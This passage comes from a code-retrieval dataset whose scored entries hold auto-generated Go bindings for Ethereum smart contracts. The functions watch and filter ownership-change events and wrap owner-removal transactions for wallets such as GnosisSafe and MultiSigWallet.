(*MultiSigWalletWithDailyLimitOwnerRemovalIterator, error) {\n\n\tvar ownerRule []interface{}\n\tfor _, ownerItem := range owner {\n\t\townerRule = append(ownerRule, ownerItem)\n\t}\n\n\tlogs, sub, err := _MultiSigWalletWithDailyLimit.contract.FilterLogs(opts, \"OwnerRemoval\", ownerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &MultiSigWalletWithDailyLimitOwnerRemovalIterator{contract: _MultiSigWalletWithDailyLimit.contract, event: \"OwnerRemoval\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "c531464bee1c637aa32d9c11915434d1", "score": "0.6493127", "text": "func (_GnosisSafe *GnosisSafeFilterer) WatchAddedOwner(opts *bind.WatchOpts, sink chan<- *GnosisSafeAddedOwner) (event.Subscription, error) {\n\n\tlogs, sub, err := _GnosisSafe.contract.WatchLogs(opts, \"AddedOwner\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(GnosisSafeAddedOwner)\n\t\t\t\tif err := _GnosisSafe.contract.UnpackLog(event, \"AddedOwner\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "1326d5d4259b156b7130687fcc08d71a", "score": "0.63812834", "text": "func (_HoQuConfig *HoQuConfigFilterer) WatchOwnershipRenounced(opts *bind.WatchOpts, sink chan<- *HoQuConfigOwnershipRenounced, previousOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\n\tlogs, sub, err := _HoQuConfig.contract.WatchLogs(opts, \"OwnershipRenounced\", previousOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(HoQuConfigOwnershipRenounced)\n\t\t\t\tif err := _HoQuConfig.contract.UnpackLog(event, \"OwnershipRenounced\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "4bc65f17e7010e3eeca6ed29ae1ba6f6", "score": "0.63670415", "text": "func (_HoQuConfig *HoQuConfigFilterer) WatchSystemOwnerDeleted(opts *bind.WatchOpts, sink chan<- *HoQuConfigSystemOwnerDeleted, deletedOwner []common.Address) (event.Subscription, error) {\n\n\tvar deletedOwnerRule []interface{}\n\tfor _, deletedOwnerItem := range deletedOwner {\n\t\tdeletedOwnerRule = append(deletedOwnerRule, deletedOwnerItem)\n\t}\n\n\tlogs, sub, err := _HoQuConfig.contract.WatchLogs(opts, \"SystemOwnerDeleted\", deletedOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(HoQuConfigSystemOwnerDeleted)\n\t\t\t\tif err := _HoQuConfig.contract.UnpackLog(event, \"SystemOwnerDeleted\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "5c66b6686246a35062fab2df94296f19", "score": "0.6303991", "text": "func (_Escrow *EscrowFilterer) WatchOwnershipRenounced(opts *bind.WatchOpts, sink chan<- *EscrowOwnershipRenounced, previousOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\n\tlogs, sub, err := _Escrow.contract.WatchLogs(opts, \"OwnershipRenounced\", previousOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(EscrowOwnershipRenounced)\n\t\t\t\tif err := _Escrow.contract.UnpackLog(event, \"OwnershipRenounced\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "ddcbbde90b159b335c70fa4350860858", "score": "0.6259865", "text": "func (_InHospitalData *InHospitalDataFilterer) WatchOwnershipRenounced(opts *bind.WatchOpts, sink chan<- *InHospitalDataOwnershipRenounced, previousOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\n\tlogs, sub, err := _InHospitalData.contract.WatchLogs(opts, \"OwnershipRenounced\", previousOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(InHospitalDataOwnershipRenounced)\n\t\t\t\tif err := _InHospitalData.contract.UnpackLog(event, \"OwnershipRenounced\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "16e77dd79eac4cb1f52150a943259c4b", "score": "0.625073", "text": "func (_Ownable *OwnableFilterer) WatchOwnershipRenounced(opts *bind.WatchOpts, sink chan<- *OwnableOwnershipRenounced, previousOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\n\tlogs, sub, err := _Ownable.contract.WatchLogs(opts, \"OwnershipRenounced\", previousOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(OwnableOwnershipRenounced)\n\t\t\t\tif err := _Ownable.contract.UnpackLog(event, \"OwnershipRenounced\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "f082bfe4d898c41a7aa0af7a59c7d89c", "score": "0.6246589", "text": "func (_RoomFactory *RoomFactoryFilterer) WatchOwnershipRenounced(opts *bind.WatchOpts, sink chan<- *RoomFactoryOwnershipRenounced, previousOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\n\tlogs, sub, err := _RoomFactory.contract.WatchLogs(opts, \"OwnershipRenounced\", previousOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(RoomFactoryOwnershipRenounced)\n\t\t\t\tif err := _RoomFactory.contract.UnpackLog(event, \"OwnershipRenounced\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "7c02256e5c8dcaf7dfd84a8e4bd6be6c", "score": "0.623808", "text": "func (_GnosisSafe *GnosisSafeTransactor) RemoveOwner(opts *bind.TransactOpts, prevOwner common.Address, owner common.Address, _threshold *big.Int) (*types.Transaction, error) {\n\treturn _GnosisSafe.contract.Transact(opts, \"removeOwner\", prevOwner, owner, _threshold)\n}", "title": "" }, { "docid": "267e453769affb4f258cb06199690236", "score": "0.62110156", "text": "func (_OwnerManager *OwnerManagerFilterer) WatchAddedOwner(opts *bind.WatchOpts, sink chan<- *OwnerManagerAddedOwner) (event.Subscription, error) {\n\n\tlogs, sub, err := _OwnerManager.contract.WatchLogs(opts, \"AddedOwner\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(OwnerManagerAddedOwner)\n\t\t\t\tif err := _OwnerManager.contract.UnpackLog(event, \"AddedOwner\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "a10bd3c64b788384e2890eef8e04325c", "score": "0.61072516", "text": "func (_Token *TokenFilterer) WatchMinterRemoved(opts *bind.WatchOpts, sink chan<- *TokenMinterRemoved, account []common.Address) (event.Subscription, error) {\n\n\tvar accountRule []interface{}\n\tfor _, accountItem := range account {\n\t\taccountRule = append(accountRule, accountItem)\n\t}\n\n\tlogs, sub, err := _Token.contract.WatchLogs(opts, \"MinterRemoved\", accountRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(TokenMinterRemoved)\n\t\t\t\tif err := _Token.contract.UnpackLog(event, \"MinterRemoved\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "323e4af262f6f08a7a2e261bb12b5d67", "score": "0.6105789", "text": "func (_ERC721Proxy *ERC721ProxyFilterer) WatchAuthorizedAddressRemoved(opts *bind.WatchOpts, sink chan<- *ERC721ProxyAuthorizedAddressRemoved, target []common.Address, caller []common.Address) (event.Subscription, error) {\n\n\tvar targetRule []interface{}\n\tfor _, targetItem := range target {\n\t\ttargetRule = append(targetRule, targetItem)\n\t}\n\tvar callerRule []interface{}\n\tfor _, callerItem := range caller {\n\t\tcallerRule = append(callerRule, callerItem)\n\t}\n\n\tlogs, sub, err := _ERC721Proxy.contract.WatchLogs(opts, \"AuthorizedAddressRemoved\", targetRule, callerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(ERC721ProxyAuthorizedAddressRemoved)\n\t\t\t\tif err := _ERC721Proxy.contract.UnpackLog(event, \"AuthorizedAddressRemoved\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "7650d33a6d86e3342ce5da12f7701664", "score": "0.61025447", "text": "func (_MultiSigWalletWithDailyLimit *MultiSigWalletWithDailyLimitTransactor) RemoveOwner(opts *bind.TransactOpts, owner common.Address) (*types.Transaction, error) {\n\treturn _MultiSigWalletWithDailyLimit.contract.Transact(opts, \"removeOwner\", owner)\n}", "title": "" }, { "docid": "135d35bc3f3881fce37a78bf5a1d19f5", "score": "0.6100719", "text": "func (_Token *TokenFilterer) WatchOwnerUpdate(opts *bind.WatchOpts, sink chan<- *TokenOwnerUpdate, _prevOwner []common.Address, _newOwner []common.Address) (event.Subscription, error) {\n\n\tvar _prevOwnerRule []interface{}\n\tfor _, _prevOwnerItem := range _prevOwner {\n\t\t_prevOwnerRule = append(_prevOwnerRule, _prevOwnerItem)\n\t}\n\tvar _newOwnerRule []interface{}\n\tfor _, _newOwnerItem := range _newOwner {\n\t\t_newOwnerRule = append(_newOwnerRule, _newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Token.contract.WatchLogs(opts, \"OwnerUpdate\", _prevOwnerRule, _newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(TokenOwnerUpdate)\n\t\t\t\tif err := _Token.contract.UnpackLog(event, \"OwnerUpdate\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "ce5b4e0bb23347521962d42789ec337c", "score": "0.6082993", "text": "func (_ReserveDollar *ReserveDollarFilterer) FilterOwnerChanged(opts *bind.FilterOpts, newOwner []common.Address) (*ReserveDollarOwnerChangedIterator, error) {\n\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _ReserveDollar.contract.FilterLogs(opts, \"OwnerChanged\", newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &ReserveDollarOwnerChangedIterator{contract: _ReserveDollar.contract, event: \"OwnerChanged\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "e6d9e7540265a3d2aa7193d65fd5e2fa", "score": "0.6034425", "text": "func (_GnosisSafe *GnosisSafeTransactorSession) RemoveOwner(prevOwner common.Address, owner common.Address, _threshold *big.Int) (*types.Transaction, error) {\n\treturn _GnosisSafe.Contract.RemoveOwner(&_GnosisSafe.TransactOpts, prevOwner, owner, _threshold)\n}", "title": "" }, { "docid": "3fed93b478a0257afc60204d2c7d4514", "score": "0.60252595", "text": "func (_OwnerManager *OwnerManagerTransactor) RemoveOwner(opts *bind.TransactOpts, prevOwner common.Address, owner common.Address, _threshold *big.Int) (*types.Transaction, error) {\n\treturn _OwnerManager.contract.Transact(opts, \"removeOwner\", prevOwner, owner, _threshold)\n}", "title": "" }, { "docid": "a4086a156b4b27dfa0b1a43572239326", "score": "0.602277", "text": "func (_ERC20Proxy *ERC20ProxyFilterer) WatchAuthorizedAddressRemoved(opts *bind.WatchOpts, sink chan<- *ERC20ProxyAuthorizedAddressRemoved, target []common.Address, caller []common.Address) (event.Subscription, error) {\n\n\tvar targetRule []interface{}\n\tfor _, targetItem := range target {\n\t\ttargetRule = append(targetRule, targetItem)\n\t}\n\tvar callerRule []interface{}\n\tfor _, callerItem := range caller {\n\t\tcallerRule = append(callerRule, callerItem)\n\t}\n\n\tlogs, sub, err := _ERC20Proxy.contract.WatchLogs(opts, \"AuthorizedAddressRemoved\", targetRule, callerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(ERC20ProxyAuthorizedAddressRemoved)\n\t\t\t\tif err := _ERC20Proxy.contract.UnpackLog(event, \"AuthorizedAddressRemoved\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "4f561e7775834d0d0b4457a8a32eed58", "score": "0.6001345", "text": "func (_GnosisSafe *GnosisSafeSession) RemoveOwner(prevOwner common.Address, owner common.Address, _threshold *big.Int) (*types.Transaction, error) {\n\treturn _GnosisSafe.Contract.RemoveOwner(&_GnosisSafe.TransactOpts, prevOwner, owner, _threshold)\n}", "title": "" }, { "docid": "d27466ab67ae81b1dc55810d761ff555", "score": "0.5998349", "text": "func (_MultiSigWallet *MultiSigWalletTransactor) RemoveOwner(opts *bind.TransactOpts, owner common.Address) (*types.Transaction, error) {\n\treturn _MultiSigWallet.contract.Transact(opts, \"removeOwner\", owner)\n}", "title": "" }, { "docid": "9d2918b30347f6ba52f4407294a618b8", "score": "0.59859574", "text": "func (_SecureTargetBounty *SecureTargetBountyFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *SecureTargetBountyOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _SecureTargetBounty.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(SecureTargetBountyOwnershipTransferred)\n\t\t\t\tif err := _SecureTargetBounty.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "b580f13b2f42b6aee3cf94d7a3e5e3d8", "score": "0.59388226", "text": "func (_ContractRegistry *ContractRegistryFilterer) WatchOwnerUpdate(opts *bind.WatchOpts, sink chan<- *ContractRegistryOwnerUpdate, _prevOwner []common.Address, _newOwner []common.Address) (event.Subscription, error) {\n\n\tvar _prevOwnerRule []interface{}\n\tfor _, _prevOwnerItem := range _prevOwner {\n\t\t_prevOwnerRule = append(_prevOwnerRule, _prevOwnerItem)\n\t}\n\tvar _newOwnerRule []interface{}\n\tfor _, _newOwnerItem := range _newOwner {\n\t\t_newOwnerRule = append(_newOwnerRule, _newOwnerItem)\n\t}\n\n\tlogs, sub, err := _ContractRegistry.contract.WatchLogs(opts, \"OwnerUpdate\", _prevOwnerRule, _newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(ContractRegistryOwnerUpdate)\n\t\t\t\tif err := _ContractRegistry.contract.UnpackLog(event, \"OwnerUpdate\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "1e7d86f7886409c27833253ab7192293", "score": "0.5933988", "text": "func (_HoQuConfig *HoQuConfigFilterer) FilterOwnershipRenounced(opts *bind.FilterOpts, previousOwner []common.Address) (*HoQuConfigOwnershipRenouncedIterator, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\n\tlogs, sub, err := _HoQuConfig.contract.FilterLogs(opts, \"OwnershipRenounced\", previousOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &HoQuConfigOwnershipRenouncedIterator{contract: _HoQuConfig.contract, event: \"OwnershipRenounced\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "ef471afbfa881fb37f89b078f1eedfc5", "score": "0.59286594", "text": "func (_IServiceCoreEx *IServiceCoreExFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *IServiceCoreExOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _IServiceCoreEx.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(IServiceCoreExOwnershipTransferred)\n\t\t\t\tif err := _IServiceCoreEx.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "5f73e12f6059f22987dfa5c3143225c1", "score": "0.5907389", "text": "func (_Controller *ControllerFilterer) WatchTokenRemoved(opts *bind.WatchOpts, sink chan<- *ControllerTokenRemoved) (event.Subscription, error) {\n\n\tlogs, sub, err := _Controller.contract.WatchLogs(opts, \"TokenRemoved\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(ControllerTokenRemoved)\n\t\t\t\tif err := _Controller.contract.UnpackLog(event, \"TokenRemoved\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "f25526b8045ebffe395ee411270551b1", "score": "0.5901641", "text": "func (_OwnerManager *OwnerManagerTransactorSession) RemoveOwner(prevOwner common.Address, owner common.Address, _threshold *big.Int) (*types.Transaction, error) {\n\treturn _OwnerManager.Contract.RemoveOwner(&_OwnerManager.TransactOpts, prevOwner, owner, _threshold)\n}", "title": "" }, { "docid": "dfd28300cc2e6dad139ef38bab298dbe", "score": "0.5893657", "text": "func (_RollupCreatorNoProxy *RollupCreatorNoProxyFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *RollupCreatorNoProxyOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _RollupCreatorNoProxy.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn 